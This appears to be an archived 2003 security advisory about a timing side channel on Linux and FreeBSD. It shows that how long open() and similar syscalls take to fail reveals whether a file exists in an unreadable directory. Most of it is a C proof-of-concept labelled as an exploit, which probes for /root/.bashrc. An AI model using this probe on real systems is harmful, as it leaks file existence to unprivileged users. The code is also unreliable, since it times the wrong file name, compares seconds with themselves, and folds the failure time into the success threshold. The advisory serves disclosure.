6th Apr 2003 [SBWID-6105]
COMMAND
	Syscall implementation could lead to whether or not a file exists
SYSTEMS AFFECTED
	Tested:
		- RedHat kernel 2.4.18-26.7.x (second latest ;))
		- RedHat kernel 2.4.18-27.7.x
		- Debian 3.0 box
		- FreeBSD 4.4
PROBLEM
	Andrew Griffiths [[email protected]] found :
	By timing how long it takes for the  system  call  to  return,  you  can
	pretty tell whether or not the file exists, because the failure time  is
	in my testing, three times shorter than if the file exists.
	To illistrate, here is an example of the attached program  running  with
	the open() call. I would think other syscalls such as  stat(),  mkdir(),
	chdir(), etc would disclose whether or not a file exists.
	
	[+] creating unreachable
	[+] creating unreachable/iexist
	[+] chmod 0'ing unreachable
	[+] d---------    2 andrewg  andrewg      4096 Mar 20 20:37 unreachable/
	[+] Timing open() on unreachable/iexist
		[+] Successful: 12 usecs, got Permission denied
	[+] Timing open() on unreachable/non-existant
		[+] Failure: 3 usecs, got Permission denied
		[+] Using 3 as our cutoff.
	[+] testing /root/.bashrc and /root/non-existant
		[+] /root/.bashrc exists (4 usecs), got Permission denied
		[+] /root/non-existant doesn't exist (2 usecs), got Permission denied
		After a while of experimentation, I found that the following
		formuala seems to be relatively decent at avoiding false	
		positivites, on my RH box.
			cutoff = ((success_time + failure_time) / 3) - 2
	
	This is somewhat dependant on the load on the box, and  where  the  file
	is located, though it appears.
	On some OS's (notably freebsd in my testing) it will store  the  results
	of into its cache (different to linux, in the sense that it  throws  off
	the algo above.). Thus, if you just create  a  file  		  and  time  open()ing
	that, then compare it with a file that has  been  recently  opened,  you
	don't get a fair comparsision.
	 Exploit 
	 =======
	
	#include <stdlib.h>
	#include <unistd.h>
	#include <stdio.h>
	#include <sys/types.h>
	#include <fcntl.h>
	#ifndef O_NOFOLLOW
	#define O_NOFOLLOW  0400000 /* don't follow links */
	#endif
	#ifndef O_LARGEFILE
	#define O_LARGEFILE 0100000
	#endif
	int flags = O_RDONLY|O_EXCL|O_SYNC|O_NOCTTY|O_NOFOLLOW;
	/* taken from scuts format string example/brute_blind example */
	unsigned long int
	tv_diff (struct timeval *tv_a, struct timeval *tv_b)
	{
	        unsigned long int       diff;
	        if (tv_a->tv_sec < tv_b->tv_sec ||
	                (tv_a->tv_sec == tv_b->tv_sec && tv_a->tv_sec < 
	tv_b->tv_sec))
	        {
	                struct timeval *        tvtmp;
	                tvtmp = tv_b;
	                tv_b = tv_a;
	                tv_a = tvtmp;
	        }
	        diff = (tv_a->tv_sec - tv_b->tv_sec) * 1000000;
	        if (tv_a->tv_sec == tv_b->tv_sec) {
	                diff += tv_a->tv_usec - tv_b->tv_usec;
	        } else {
	                if (tv_a->tv_usec >= tv_b->tv_usec)
	                        diff += tv_a->tv_usec - tv_b->tv_usec;
	                else
	                        diff -= tv_b->tv_usec - tv_a->tv_usec;
	        }
	        return (diff);
	}
	void cleanup()
	{
		printf("[+] cleaning up\n");
		if(chmod("unreachable", 0700)==-1) {
			printf("\t[-] Unable to revert unreachable back to being reachable\n");
			exit(EXIT_FAILURE);
		}
		if(unlink("unreachable/iexist")==-1) {
			printf("\t[-] Unable to remove unreachable/iexist\n");
			exit(EXIT_FAILURE);
		}
		if(rmdir("unreachable")==-1) {
			printf("\t[-] Unable to rmdir unreachable\n");
			exit(EXIT_FAILURE);
		}
	}
	int main(int argc, char **argv)
	{
		struct timeval tv_a, tv_b;
		int fd_a, fd_b;
		char buf_a[500], buf_b[500];
		unsigned int success, n, failure;
		atexit(cleanup);
		printf("[+] creating unreachable\n");
		if(mkdir("unreachable", 0700)==-1) {
			printf("\t[-] Unable to create unreachable\n");
			exit(EXIT_FAILURE);
		}
		printf("[+] creating unreachable/iexist\n");
		if((fd_a = creat("unreachable/iexist", 0700))==-1) {
			printf("\t[-] Unable to create unreachable/iexist\n");
			exit(EXIT_FAILURE);
		}
		close(fd_a);
		printf("[+] chmod 0'ing unreachable\n");
		if(chmod("unreachable", 00)==-1) {
			printf("\t[-] Unable to chmod unreachable\n");
			exit(EXIT_FAILURE);
		}
		printf("[+] "); fflush(stdout);
		system("ls -alF | grep unreachable");
		printf("[+] Timing open() on unreachable/iexist\n");
		/* fd_a = open("unreachable/exists", flags);
		close(fd_a); */
		gettimeofday(&tv_a, NULL);
		fd_a = open("unreachable/exists", flags);
		gettimeofday(&tv_b, NULL);
		printf("\t[+] Successful: %ld usecs, got %m\n", (success = tv_diff(&tv_b, &tv_a)));
		close(fd_a);
		printf("[+] Timing open() on unreachable/non-existant\n");
	/*	fd_b = open("unreachable/non-existant", flags);
		close(fd_b); */
		gettimeofday(&tv_a, NULL);
		fd_b = open("unreachable/non-existant", flags);
		gettimeofday(&tv_b, NULL);
		printf("\t[+] Failure: %ld usecs, got %m\n", (failure = tv_diff(&tv_b, &tv_a)));
		close(fd_b);
		success += tv_diff(&tv_b, &tv_a);
		success /= 3;
	//	success -= 2;
		if(failure > success || success > (failure*8) ) {
			printf("[-] It appears the load went up unexpectadly, mebe try re-running?\n");
			exit(EXIT_FAILURE);
		}
		/* tweak the success value */
		if((failure*4) >= success) success--;
		if(success <= (failure*3)) success++;
		printf("\t[+] Using %d as our cutoff.\n", success);
		printf("[+] testing /root/.bashrc and /root/non-existant\n");
	/*	fd_a = open("/root/.bashrc", flags);
		close(fd_a); */
		gettimeofday(&tv_a, NULL);
		fd_a = open("/root/.bashrc", flags);
		gettimeofday(&tv_b, NULL);
		if((n = tv_diff(&tv_b, &tv_a)) >= success) {
			printf("\t[+] /root/.bashrc exists (%d usecs), got %m\n", n);
		} else {
			printf("\t[+] /root/.bashrc doesn't exist (%d usecs), got %m\n", n);
		}
		close(fd_a);
	/*	fd_b = open("/root/non-existant", flags);
		close(fd_b); */
		gettimeofday(&tv_a, NULL);
		fd_b = open("/root/non-existant", flags);
		gettimeofday(&tv_b, NULL);
		if((n = tv_diff(&tv_b, &tv_a)) >= success) {
			printf("\t[+] /root/non-existant exists (%d usecs), got %m\n", n);
		} else {
			printf("\t[+] /root/non-existant doesn't exist (%d usecs), got %m\n", n);
		}
		close(fd_b);
	}
	
SOLUTION
	Not known